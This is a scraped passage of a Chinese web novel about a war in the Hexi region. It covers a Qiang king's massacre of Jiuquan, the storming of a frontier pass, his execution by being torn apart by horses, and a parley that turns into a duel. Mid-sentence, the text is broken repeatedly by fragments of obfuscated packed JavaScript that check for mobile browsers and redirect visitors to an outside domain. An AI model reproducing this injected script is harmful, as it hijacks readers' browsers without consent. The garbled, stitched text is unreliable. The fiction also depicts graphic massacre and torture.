l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16001710|178263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“嗖嗖嗖……” 密林中乱箭齐发。 很快两名死士中箭剩下一名则拼了命往草丛中狂奔。 “跑啊!快跑!跑出去你便是将军了!” 山谷中的隆多等**声激励。 但事实上密林中的陈世钊是故意留的活口。 若不放一个人回北狄禀报消息又怎能真正离间羌国与 北狄呢? “王上的锦囊妙计,果然是高啊。” …… 三日后。 四月二十二。 黄沙漫漫,烈日高照。 正午荒漠实在太热,凉军不得不停下脚步,找了片土包背靠纳凉。 光是坐着不动,汗水如黄豆滚落。 王宝带着火器军扬尘而来。 “陆头儿,计划一切顺利,三万狄军先锋皆受困于祁山之中……哦对了,还有意外收获,这好像是那个叫……尼玛的人头。” 王宝取下背上的布包。 陆云川微微皱眉,这么热的天气,早就已经腐烂…… 他摆了摆手,“算了,此人也算忠心,找个地方让他入土为安吧。” 王宝应声退下。 不过一会儿,刘马也带着几名斥候赶回了军队。 “王上,经过我们这几日的探查,果然如您所料,北狄还有一支莫约七万人的主力部队从山北开赴玉户关; 领兵的好像还不是一般人,据说是北狄皇室,左亲王,完颜隼; 山北是高原地带,高原行军并不比咱们沙漠快,而且他们想要驰援酒泉,肯定得先从玉户关入关; 属下做了个估算,他们至少要比咱们慢上十日左右。” “完颜隼……” 陆云川轻轻念叨这个名字。 不就打个支援战么?连皇室亲王都用上了? 呵……北狄此次援助羌国,目的估计也不会那么单纯。 这西域真是越来越有意思了。 “本王再委派你一个任务—— 你即刻赶去酒泉,想办法散布流言,便说:左亲王完颜隼,举大军援助羌国是假,实则假道伐虢,欲取玉户关。” 那么李天昊,听到这个流言,你敢不敢去赌?让不让酒泉? 第二百零四章人世间最悲怆的挽歌 与此同时。 山北一片广袤的草原上。 北狄大军的“黑麟王旗”被风吹得飒飒作响。 骑马领军在前者,年纪二十岁出头,一身雪白貂毛披肩,头戴宝石护额,神情冷峻清高,眼眸深邃阴沉。 他便是狄朝开国皇帝完颜淦的亲弟弟,左亲王,完颜隼,正儿八经的天之骄子。 “报!!!” 一名浑身狼狈的狄兵,跌跌撞撞冲到阵前,许是太过劳累了,跪在地上便几乎晕厥。 他正是从伏龙谷逃出来的那名先锋死士。 “是……隆多的兵!” 阵前领兵的主将乌木台急忙翻下马背,拿出水袋给死士灌了两口,“发生什么事了?” 死士饮下水后,缓和了一阵,才沙哑开口:“羌国……联合凉国……叛变……祁山谷设伏……坑杀我们啊!” “什么!” 乌木台与阵前诸武将都大为震惊。 死士一口气将三日前发生在伏龙谷的一切都讲了出来,过后抹着泪水哭诉: “三千多人啊,全被砸**,小的也是历经九死一生才侥幸逃出来……” “该死的羌狗!” 乌木台与众将勃然大怒。 完颜隼全程皱着眉头,这事实在来得太突然。 他偏头看向身旁一名白须老者,问道:“老师,此事你怎么看?” 白须老者乃是随行参军,北狄第一帝师,阿拉善,是个介于老气横秋与老奸巨猾之间的人物。 阿拉善沉思了片刻,才道:“羌国人本身反复无常,二十年期间,依附了三个政权,他们会倒戈凉国并不稀奇,但是,” 他话锋一转,“仅凭一小卒的片面之词,也不能完全信任,河西风云多变,每一步都得小心谨慎。” “老师分析的是。” 完颜隼点了点头,当即下令: “全军停止前进,暂停驰援羌国,多派探马奔赴河西,打探清楚了再说; 乌木台,你速领八百精骑,让此卒带路奔赶往祁山,救出隆多及被困的士卒。” “末将得令!” 乌木台翻身上马,即刻点兵转场奔向祁山。 “老师,你说咱们的意图,是不是被羌王猜到了?” “羌王猜到不可怕,就怕凉王也猜到了。” “凉王……” 完颜隼轻声念叨,“闻言此人与我一样年轻,就是不知英雄气如何,真期待能与他碰一碰。” …… 四月二十七。 酒泉县城。 李天昊站在城门楼上来回踱步。 “报!” 斥候冲上城墙。 “可是北狄援军到了?”李天昊急忙问道。 “回禀大王,不是北狄援军……是凉国大军,他们已挺进县境,最多两日便要兵临城下了!”斥候说道。 “竟如此迅速!?” 李天昊眉头再紧了一分,早在半个月前,他便收到了尼玛传回来的消息,说已带着三万先锋从祁山借道,最多十日便能抵达酒泉, 可眼下都已经过去了半月之久,却连影子都没见到。 如今酒泉守军只有一万,若凉国大军兵临城下,又岂能抵挡得住? “报!” 又一名斥候冲上城墙,“大王,山北探马回报,完颜隼援军不知为何,突然停止了进军,原地扎营,动向不明啊!” “什么!” 李天昊如被重锤敲击心脏,先锋援军赶不到便算了,连山北援军也不动了! “背信弃义的狄狗!” “报!” 又一名斥候冲上城墙,“大王,属下在城外听到一则流言,说,说……说……” “快说!” “流言说,北狄十万大军根本不是来援救的,而是想趁着羌国与凉国交战,夺取玉户关,从而吞并羌国……” 李天昊脚步一阵踉跄,下一刻又陷入了沉思—— 凉国若是豺狼,北狄难道就是好鸟么? 羌国虽附庸于北狄,可这帮**的野心从来就没消失过。 其实在听到北狄十万援军是完颜隼亲率领,他便已有所顾虑, 若真将这十万**放进关来,就算能击退凉军,那他们还会愿意走么?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16001711|178263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他现在甚至都怀疑,北狄不进军说不定便与凉国有关! 他们……他们是想瓜分羌国! “一群……见利忘义的豺狼虎豹!” 李天昊破口大骂,拳头重砸在墙垛上。 “撤……撤出酒泉,回玉户关!” 经过一番深思熟虑,李天昊咬牙下达命令。 酒泉并非雄关,且守军人数不足,而凉军有摧城之势,北狄又信不得…… 眼下只能舍小保大,全军撤回玉户关! 玉户关乃河西第一雄关,举全国之力死守于此,只要能坚持几个月,待凉国粮草耗尽,自然便可渡过此次危机! “纵使撤离酒泉,也决不能给凉军捞到半点好处!” 李天昊眼神露出一丝变态的狠劲儿,当即下令:“给我杀,杀光城内的所有人!给我抢,抢走所有钱粮辎重!给我烧,烧光所有房屋! 此令一下,地狱之门洞开! 酒泉城内的百姓,本就没什么羌人,而即便是有,又如何呢? 羌兵犹如褪去伪装的恶鬼,提刀闯入酒泉城内的每一个角落! 不再是驱逐,不再是威慑,是赤裸裸的屠城! 一时间,哭喊声、惨叫声、哀求声瞬间撕裂了酒泉曾经勉强维持的安宁! 街巷成了屠宰场,男女老少一个不留,钱粮牲口一粒不剩! 火把被投向一间间屋舍,烧起的浓烟滚滚冲天,遮蔽了天空最后一点日光。 昔日河西繁华腹地之一,在极短的时间内变成了燃烧的地狱。 人之初,性本善? 不,人性本恶!特别是在得到生杀大权之后,发挥得淋漓尽致。 “哈哈哈……” 李天昊站在城头,望着惨烈的酒泉城,笑得连嗓音都破了。 “陆云川!你想坐拥河西?你喜欢攻城略地?老子让你只能得到一片焦土,一片永世诅咒的鬼域,哈哈哈……” “哈哈哈哈……” 狂笑,烈焰,鲜血,相互交织,奏响了人世间最悲怆的挽歌! 谁,来救救他们? 谁,来惩罚恶魔? 第二百零五章愤怒沉默在心里最深处 四月二十七,凉军距酒泉,已不足十里。 “报!” 探马急速冲进军阵: “王上……酒泉已空……墙上无半点守军痕迹,但大门紧闭……属下生怕有埋伏,不敢轻易靠近!” “意料之中。” 陆云川嘴角微微上扬,北狄两路援军都已被退,李天昊自然不会再守酒泉,弃城而逃只在意料之中。 “萨武,你领三千先锋,先进城开路,记住了,不许为难百姓,要秋毫无犯。” “末将遵命!” 萨武便点出兵马,加快步伐冲向酒泉。 陆云川心情大好。 每个人都心情不错。 能够兵不血刃便夺下收揽城池,谁不开心呢? 可是, 没过多久, 萨武一匹快马匆匆赶回,脸色惊恐到几乎苍白,他声音都在颤抖: “王上……酒泉……酒泉城内……已成尸海废墟!” 陆云川双目一怔,沉声问道:“一个不留?” 萨武摇了摇头,咬牙劝道:“王上,您还是别进城了……” 陆云川缓缓闭上眼睛,心中喜悦荡然无存。 弃守城池,卷走钱粮,带走物资,哪怕抓走壮丁,作为军事手段也合情合理。 屠城……太泯灭人性! 陆云川深吸了一口气,严肃令道: “传令下去,所有士卒,整理着装,号角长鸣,进入酒泉。” “是……” 浑厚号角在黄土上回荡,万人军队迈着整齐的步伐,庄重而又威严。 入城。 当看到眼前惨绝人寰的景象…… 这些百战的悍卒,饶是心如铁石,也被眼前的景象冲击得脸色煞白。 有的人忍不住弯腰呕吐,更多的人握紧了手中兵刃,手臂青筋暴起,眼中怒火几乎要喷涌出来。 陆云川翻身下马。 没有愤怒的嘶吼,没有悲伤的恸哭。 他停下脚步,站在那里。 他缓缓抬手。 号角声戛然而止。 城中陷入死寂。 “下马。” 众骑兵下马。 “摘盔。” 众将士摘去头盔。 “默哀。” 缓缓闭眼,无声缅怀。 一刻钟后。 陆云川睁开眼,目光坚定炬,他毅然决然,翻身上马: “灭羌,出征。” 众将士 整齐划一没有所谓的气势如虹愤怒沉默在心里最深处。 怒火**之际羌人灭国之时。 …… 两日之后。 四月二十九。 北狄中军大帐。 “报!” 斥候冲进大帐: “报告王爷李天昊于四日前已放弃酒泉逃往了玉户关!在离开前他还……还屠光了城内的男女老少如今已化为一片焦土!” 听到这个情报帐内众将皆心中皆是一颤好歹酒泉也算羌国土地竟连自己的子民都屠? “不好!我们中计了!” 唯有阿拉善率先反应过来“羌国与凉国根本就没有结盟否则李天昊绝不会屠城弃守……这是凉王的离间之计!就是要拖住我方军援!” 他面向完颜隼:“王爷速速拔营起兵我们本就比凉国路远若再晚了恐怕玉户关便被凉国所夺啊!” “老师何必惊慌?” 完颜隼却表情淡然“纵使凉王设计拖延了我军支援时间那也不过才几天罢了; 玉户关乃西域第一雄关李天昊不至于连半个月都守不住; 让他们两家打吧等他们都没气力了玉户关便吹弹可破。” “王爷话虽如此战局多变兵贵神速不能再耽搁了!”阿拉善催促。 “行那便全军开拔急行玉户关收拾残局吧。” …… 凉军这边。 从酒泉到玉户关有八百里路。 一日急行八十里那也需要十天。 必须得赶在北狄援军抵达之前拿下玉户关。 北狄主力部队本身就要比凉军慢上十日再加上离间计又拖延了五日那么两军抵达玉户关的时间差便是十五日。 北狄在急行凉军也在急行。 谁都在与时间赛跑。 五月初八。 经过十日急行凉军抵达敦煌于玉户关十里外安营扎寨。 全军休整三日吃饱喝足磨好刀锋备好器械为最后总攻做准备。 前夕。 玉户关城门楼。 李天昊也知道这是生死之战了他召集了所有可战之兵以及敦煌周边十二岁以上男丁凑足了将近四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16001712|178263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万人。 此刻。 摆在他面前有两封信。 一封来自凉军让他开城献降否则必死无疑; 一封来自北狄让他坚守半月 一边是财狼,一边是虎豹; 那么,是与狼共舞,还是与虎谋皮? “哼!” 李天昊抓起两封信,“刺啦刺啦”撕成粉碎。 “都将我羌国视作肥肉,那他妈就来吧!” …… 五月十一。 凉军兵临城下,所有兵锋、弓箭、怒抛,皆指向雄关城墙。 陆云川骑马立于中军,仇恨都已发酵到这个地步,注定不是你死便是我亡。 “先诛心。” “是。” 石勇带着十名膀大腰圆的凉军大嗓门士兵走军阵, 他们轮流上前,持硬皮喇叭,对着城楼方向,用尽胸腔力气开始轮番吼叫: “玉门关内的弟兄们,李天昊屠戮酒泉,男女老少皆不放过,简直禽兽不如!” “大火烧城的是谁?!是李天昊!” “弃城而逃时还要**放火的是谁?是李天昊!” “这人间恶魔,罪该万死!” “你们都听好了,凉王有令,只诛首恶李天昊!” “弃暗投明者,不咎既往!助纣为虐者,与李天昊同罪!” “抽筋扒皮,车裂凌迟!” 句句属实,字字珠心! 城头上的守军,很多人脸色都变了。 这些被强抓来的兵丁,并非全部是李天昊的死忠。 听着这些血淋淋,充满煽动性的喊话,瞬间红了眼眶,身体微微发抖,握着刀枪的手不再那么坚定! 恐惧与怨恨在守军心中悄然滋生。 我为什么而战? 我为谁而战? 诛心之计,使得信仰脆如蝉翼。 衰弱士气,大大降低了战斗力。 “全都给本王将耳朵蒙起来!不许听!凉狗妖言惑众!若被他们破关一样屠城!” 李天昊失声咆哮,企图将士气拉回。 他如今的模样,如同一只丧家犬,狺狺狂吠。 人,岂能听得懂狗叫呢? 陆云川见气氛已经到位,将喊话士卒召回,不再拖泥带水,抬手轻轻一挥: “攻城。” 第二百零六章破关!!! “冲啊!杀啊!” “活捉李天昊!血债血偿!” “杀光羌狗!” 积压了半个月的怒火,终于在此刻爆发,凉军前呼后继,冲向玉户关! “雷火神威炮!” “炸死城墙上的羌狗!” 三十余架巨型投石机沉重推上,火龙弹,震天雷,**,毒沥青,各类杀伤性的火器,一一准备就绪。 “放!” 王宝赤旗怒劈! 数十枚火器**被狠狠抛向高空,带着死亡的呼啸,划破战争天空! 玉户关城头上,守军惊恐地看到天空袭来的杀器—— 震天雷率先**,绽放成一朵朵巨大的,内部嵌套着无数铁蒺藜,铁砂的烈焰花雨! “举盾!” 羌军企图竖盾防御。 然而紧随其后的火龙弹在城头,垛口,马面墙乃至关城内猛烈殉爆! 数以千计的细小燃烧碎片如天火流星般泼洒开来! 灼热的高温瞬间点燃城头的木质掩体、盾牌、弓箭! 黏稠的油脂火雨更是如跗骨之蛆,溅射到哪里就在哪里燃起熊熊烈火! 整个玉户关东南角的上空被映照得如同白昼初开,浓烟滚滚,瞬间化作一片火海! 守军的惨嚎、焦糊的气味弥漫开来! “啊!我的眼睛!” “火啊!火啊!啊啊啊……” 羌军的防线在这一波覆盖性打击下瞬间大乱! “千钧长臂**!” 继朱雀**器远程轰炸后,穿甲军摇起了上百架重**! 粗如儿臂,长度超过半丈的三棱破甲重箭被填入**槽! “目标,玉户城门!” “覆盖,齐射!” “放!” “崩!崩!崩……” 弓弦释放的声音如同神祇拉断山脉! 密集的重箭撕裂空气,箭鸣盖过了所有杂音,狠狠砸在城门楼,墙体,以及城门前方的拒马鹿砦上! “咚!” “噗嗤!” “咔嚓!” 坚硬的包铁木门被重矢射入,门栓所在区域瞬间布满了如同刺猬般的箭尾! 巨大的动能直接将试图加固城门的十几名守军连同他们抬着的巨木顶门柱一起贯穿撞飞! 更有**矢直接洞穿墙垛砖石缝隙,将后方准备投掷滚木礌石的守军钉死! 在接连远程打击之下,羌军守城变得无比艰难! 而有了远程部队的支 援地面打冲锋的步兵更加游刃有余! 凉军前呼后继铺设浮桥!冲过护城壕沟!砍下吊桥! 龟甲盾阵紧随其后掘子军带着**躲在阵下企图用攻破张掖城的方法炸毁玉户关! 但! 玉户关非张掖可比城墙更厚城门用钢板焊接**微乎其微! “掘子军炸不开便退下去给他娘来硬的!” 赵猛打声招呼着挥手怒喝: “将撞门锤老子推过来!!!” 那就用最原始最硬的手段破门! 一台重型攻城锥在铁盾阵的掩护下被数十名黑甲力士推至城门之下! “给我撞!” “咚!” 巨大的包铁尖锥狠狠撞击在城门上发出远比任何投石与**矢更沉重更集中更决绝的巨响! 城门痛苦呻吟! 每一次撞击都带着整个城墙的震动! 每一次撞击包铁大门上的裂痕便蔓延一分! 每一次撞击 李天昊终于是怕了若城门被迫一切都完了! 他疯狂叫喊: “稳住!给我顶住!毒油!雷石!滚木!火箭!任何能用上的东西都砸下去!快!!!” 羌军不顾**疯狂投掷! 凉军纵使有盾阵亦死伤惨重! 但怒火怎可能就此轻易平息?一面盾牌被砸碎另一面急忙补上就这样一次一次撞门一次一次摧毁! “喀喇喇……” “轰隆!” 由三重厚木与铜铁构件加固的城门在承受了火龙弹灼烧软化重**箭的集中凿击以及撞门锤超过百次的死命撞击—— 终于如同堤坝溃决般向内猛地爆裂开来! 最内侧一根粗如人腰的包铜顶门横木扭曲着从中断裂! 破碎的木块和扭曲的铜件四散飞溅! 一个巨大的狰狞的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16001713|178263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豁口骤然出现凉军面眼前…… 城外的凉军与城门后瓮城的羌军无声对视了几息…… “门破了!” “冲啊!” “将门堵住别让凉军进来了!” “杀啊!” 你往里头冲我往外面冲! “呯呯嘭嘭……” 双方军队在城门口展开近战肉搏! 你杀不进来我也冲不出去! 双方在门口鏖战了接近了两刻钟尸体都已铺 满了地面! “赵将军,让路!” 钱无命带着三百支火绳枪营与数千名穿甲军,已从军阵中呼啸赶到门口。 “散!” 赵猛与所有步兵,几乎同时收了锋芒,撤出城门向两边分散。 “举枪!” 士兵们熟练地将药池倒入引药,将预装的**和**压实塞入铳口,将点燃的阴燃火绳固定。 “放!” “砰砰砰……” 一道道橘红色的火舌,伴随枪响与硝烟,从城门口猛然喷出! 正拥挤在门洞内准备堵口的羌军根本来不及后撤! **瞬击甲胄,胸甲凹陷炸裂,头盔变形穿透! 最前排的羌军瞬间倒下了一大片! 中排的羌军惊恐想后退,却又被后排挤住,乱成一团! “**!” “射!” 火绳枪打出气势后,**手交叉跟进,“砰砰砰……”万箭齐发,呼啸冲向城门口! “啊啊啊……” 又一波羌军被射成了刺猬。 “火绳枪!” “放!” **射罢,火绳枪再放! 降维打击,堵着射杀! 羌军彻底崩溃了,根本就挡不住这攻势。 “跑……跑啊!” 羌军丢盔弃甲,转身便往瓮城里跑,自乱阵脚之下,又不知踩踏**多少。 “羌军军心已乱,大凉黑甲,冲啊!” “大凉豹骑!” “大凉虎骑!” “冲锋!” “杀啊!” 凉军兵马如摧枯拉朽的洪水猛灌入玉户关! 第二百零七章 车裂 大门被破。 瓮城亦如累卵。 凉军带着怒火,大军杀入城内! 兵锋所过之处,刀光剑影! 羌军被分割、包围、压缩! 这一次不同于在张掖,没有残酷血腥的巷战,只有喊杀威压之下,丢盔弃甲的投降。 这些强行征召来的羌兵,早在城墙上时便已被诛心,哪里还有心思抵抗? 唯独李天昊的那只亲信部队,还在负隅顽抗。 凉军也丝毫不仁慈,凡是穿着正规甲胄的羌兵,一律不允许投降,当场斩首诛杀! 羌国,大势去矣。 李天昊带着一支禁卫亲兵,边杀边退送至关守府邸。 据着府邸最核心的正厅,用屏风,桌椅杂物堵塞门窗,准备做最后的困兽之斗。 被困在厅堂内的李天昊,形容枯槁,昔日一方霸主的威仪荡然无存。 原本带甲十万的羌王,如今只剩下十几名亲兵捍卫簇拥。 “大王!西……西门!西门那边还有弟兄在守!咱们还有机会冲出去!只要回到王都!一切都还有机会啊!一名亲兵劝道。 “西……西门?王都? 李天昊眼中闪过一瞬生的希望,但随即又被更深的恐惧吞噬。 逃?只怕府外早已被凉军围了个水泄不通,又往哪儿逃呢? 面如死灰! “轰隆! 一声巨响! 府邸扇厚重的朱漆大门轰然炸开。 赵猛带着黑甲军灌入府邸。 “李天昊,汝将死矣! “护住大王! 亲兵目眦尽裂,狂吼一声,拔刀冲上去便要劈! 螳臂当车,不自量力! 赵猛根本懒得躲避那柄刀,不退反进,双手握刀,向上一撩! “噗呲! 盔甲具裂,尸分两段! “活捉李天昊,其余羌狗,一个不留! “杀! 凉军迅速杀入厅堂。 不到十息。 十几名亲兵,尽数皆斩! 李天昊被赵猛一刀背拍晕,随后五花大绑押赴城墙。 陆云川这边。 等战火稍稍平息了些,才带着亲卫军骑马进城。 灯关墙城门楼,手扶两国大旗。 心中豪迈顿生,不禁吟出那千古名诗首诗: “黑河远上白云间,一片孤城万仞山。 羌笛何须怨杨柳,春风不度玉户关。 然,时至今日。 春风已度玉户关。 玉户是本王的了。 西域是本王的了。 羌国也是本王的了! “王上,贼王李天昊带到。 赵猛单手拎着,披头散发,狼狈不堪的李天昊走上城墙,扔至陆云川脚下。 大家都是王,一个站着,一个跪着。 “羌王,你说……本王该跟你说些什么好呢?陆云川以寒暄的语气问道。 李天昊咽了咽口水,“砰砰砰磕了三个响头,“凉王……雄才大略,用兵如神,我……我愿带着羌国归降,认您为宗主,俯首称臣! 陆云川眼神愈发冷漠,这墙头草,还真是倒得快。 见陆云川不说话,李天昊赶紧又道: “日后羌国,年年纳贡,岁岁称臣…… 还有,羌国是西域屏障,可以帮助凉王看守西域门户; 还有,还有,我表妹,不知凉王是否听过,她可是号称西域第一美人儿啊,将她送给您做妾如何啊? 卖膝盖,**家,还卖妹妹? 如此善变卑鄙之徒,岂能留用? “车裂。 陆云川淡淡吐出一句,“告慰酒泉逝去苍生。 “是! “凉王饶命啊,凉王饶命啊…… “走!**的,屠城时怎没想到今日! 赵猛将李天昊拖拽下城墙。 片刻后。 李天昊被拖出玉户关外,五匹烈马套住四肢与脖颈。 “凉王!你这土匪!再过不久,完颜隼大军便要来了!你这玉户关做不了太久,哈哈哈…… “行刑! “驾! 五名骑兵同时挥鞭。 烈马奋力狂奔,“刺啦一声,李天昊形如布匹,被撕成了五段碎肉! 一代羌王,就此落下帷幕。 但战争还没有完,拿得住,还得守住。 李天昊临死前说得没错,北狄大军正在向玉户关赶来,那才是最大的威胁。 “刘马。 “属下在。 “祁山那边的情况如何了? “回禀王上,据昨日陈将军派回的掘子军汇报,北狄派出一支轻骑兵施救,三万狄军先锋已从伏龙谷脱困,并原路返回了山北草原,大概会汇入敌军主力; 至于陈将军他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16001714|178263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们,估计也在返程的路上。 刘马如实禀报。 陆云川抿了抿嘴唇,当 即令道: “萨武,石勇。” “末将在!” “你们二人率领三百轻骑,三千轻甲,即刻离开玉户关,往酒泉方向走; 待遇到陈世钊后,让他带你们重回伏龙谷; 咱们也来个‘借道祁山’,去袭扰北狄境内; 记住了,是袭扰,不是偷袭; 要避开北狄有军事部署的城市,挑乡镇村店下手; 烧杀抢掠,不论用什么办法,声势能造多大便造多大; 烧完便走,杀完便跑,抢完便撤,一定不要逗留,听懂了么?” “末将遵命!” “传令下去,抓紧修缮城墙,准备辎重防御,迎接北狄大军!” “得令!” …… 十日之后。 北狄大军抵达关北。 扎营休整三日之后,于五月二十四清晨,十万大军齐聚玉户关北。 五万凉军兵锋森然,严阵以待。 大风掠过荒地,卷起阵阵沙尘,昏黄的天地间,包含肃杀之气。 “看来我们还是来晚了啊……” 阿拉善望着城墙上飘扬的凉国大旗不禁感叹,“究竟是我们高看了李天昊,还是小看了凉王?” “老师,依你之见,破此关有几成胜算?”完颜隼问道。 “眼下凉王锋芒正盛,若此刻强攻,我军最多不过三成……不过,” 阿拉善顿了顿,又道:“凉王此次远征西域,国力损耗肯定不小,或可徐而图之。” “老师之见,正是本王心中所想。” 完颜隼自信一笑,挥了挥马鞭,命令道:“先去喊话。” 狄军阵中飞骑一名传令兵,来到玉户关之下,扯着嗓子喊道: “凉王,北狄天兵造访,劝你早早开城献降,我家王爷说了——” “啪!” 城墙上一声枪响。 打在了传令兵胯下的战马脑袋上。 马暴毙倒地,传令兵也摔了扑趴。 钱无命吹了**口的硝烟,怒喝道: “喂!小贼,回去告诉完颜隼!他来得这么晚,屎都吃不上一口热乎的!哈哈哈……” 城墙上哈哈大笑。 传令兵正了正头盔,连滚带爬逃回了狄阵。 第二百零八章王对王 “可恶!凉王小儿,实在太嚣张!” 隆多策马请战,“王爷,何须与之废话?末将**强攻玉户关!以报伏龙谷被困之仇!” “好啊,你去吧,一露头便死。”完颜隼冷声道。 “这……” “退下!” 完颜隼轻呵。 隆多低头应了声是,只好回到军阵中。 “来人,再去替本王传话……” 完颜隼在方才那名传令兵耳旁低语了几句。 传令兵点了点头,这次他没有骑马,还专门挑了五名盾兵,利用铁盾作防御,再次来到关墙之下。 “凉王!” 传令兵在铁盾后喊话,“我们王爷说了,他很欣赏您的才能,必定是个有格局之人,他想与您面对面谈谈……” “哦?” 陆云川来了兴趣,“怎么个谈法?” “我们会撤军十里,腾出一片空地来!也还请您出城来,离开双方重**的射程,不带任何兵器与侍卫,就两个人面对面谈,您可敢?”传令说道。 “王上,万万不可!” 一众将领皆劝道:“这完颜隼绝非一般人,万一他耍诈该如何?” “是啊,纵使距离安全,可面对面总是有风险的,万一他暗藏兵器该怎么办?” “哎。” 陆云川微微抬手,示意众将止声,“人家都来邀请了,本王若不赴约,反而显得胆小懦弱。” 大不了王对王,一对一。 “好!回去告诉完颜隼,本王同意与他见面,还望他遵守约定,不要耍小花招。”陆云川欣然答应。 “凉王大度!” 传令兵回到军阵,随后北狄军开始往后撤退,待如约退至十里开外,完颜隼单骑一匹白马,向玉户关靠近。 离开之前还特意嘱咐:“待会儿不论我与凉王发生什么事,都不许乱动,否则军法处置。” “明白!” 陆云川这边也同样,单骑一匹黑马,缓缓走出城门。 一黑一白,两个年轻领袖,就这么在风沙弥漫的旷野上相见了。 “凉王果然名不虚传,一身英雄气——” “废话,何必多言。” 陆云川出声打断了完颜隼,“本王时间有限,要谈什么,直接开门见山。” 完颜隼不由一顿,暗自浅笑了声,“好,果然是爽快人,那本王也不卖关子了—— 若让凉王让出玉户关,肯定不会愿意; 那不如 这样谈个战场以外的生意 以疏勒河为界瓜分羌国; 河北归我北狄河南归你凉国 陆云川一声冷笑。 果然猜得没错北狄援军只是幌子这家伙也想吃掉羌国只不过被自己捷足先登了。 李天昊啊李天昊…… 也许这便是墙头草的宿命吧左右逢源是能捞些好处可一旦高墙倒下来第一个先死的便是这株墙头草。 “凭什么?” 陆云川淡淡吐出三个字。 “理由有三——” 完颜隼比出三根手指: “其一凉军连续征战了四个月又刚攻坚了玉户关力气与辎重应该所剩无几了吧? 其二羌国西接西域有回纥高昌西域大小诸部、诸国你是把握不住他们的; 其三瞧瞧本王身后的十万大军兵精将勇粮足马壮从实力的地位出发——” “你北狄有什么实力?” 陆云川冷声打断并质问: “是兵甲数十倍于我?” “是火器装备碾压于我?” “是龙脊关二十万**败于我?” “还是逆天建朝冒天下之大不韪?” “还是东部的高句丽威胁不够?” “还是南部的大昭王朝威胁不足?” “还是北部的草原各部都臣服了?” 一个七个问题。 每一句都是实打实的眼中刺肉中钉! 谁周边没几个虎视眈眈的敌国? 完颜隼脸色阴沉脸皮不停抽搐。 真正的王者目光从不在当下仅凭眼前此人这番分析便知其野心有多大。 “凉王这块肥肉这么大给本王咬一口都不行么?”完颜隼沉声问道。 “不是不给你咬这已经吃进肚子里的肥肉怎么能吐出来呢?”陆云川冷声回应。 四目相对眼神交锋。 “呼呼呼……” 风吹沙土飞扬。 这个时候就算眼睛进沙子了也没人敢眨眼间。 “那就……” 完颜隼勒了勒缰绳做出准备离开的姿势可突然间他猛地扬鞭策马冲向陆云川与此同时从马鞍下拔出一柄暗藏的短剑直刺陆云川胸口。 千钧一发之际! 陆云川猛地抬手! “锵!” 一柄短刀从袖中滑出挡下了完颜隼的短剑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16001715|178263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “滋滋滋……” 刀剑相交,擦出火花! 王对王,马背较量,谁也不让! “卑鄙小人,暗中偷袭!”陆云川冷声骂道。 “别说得自己那么高尚,大家彼此彼此!”完颜隼奋力向前压。 陆云川用力往前顶! 力道来回切磋,最终二人同时泄力,拉开了一段距离。 “我看你还能守关多久。” 完颜隼将短剑**马鞍。 “肯定比你久得多。” 陆云川将短刀收回袖中。 二人缓缓骑马,向后撤退。 “呼呼呼……” 风沙愈吹愈大,形如一道沙幕,二人隐退其中。 接下来的半个月。 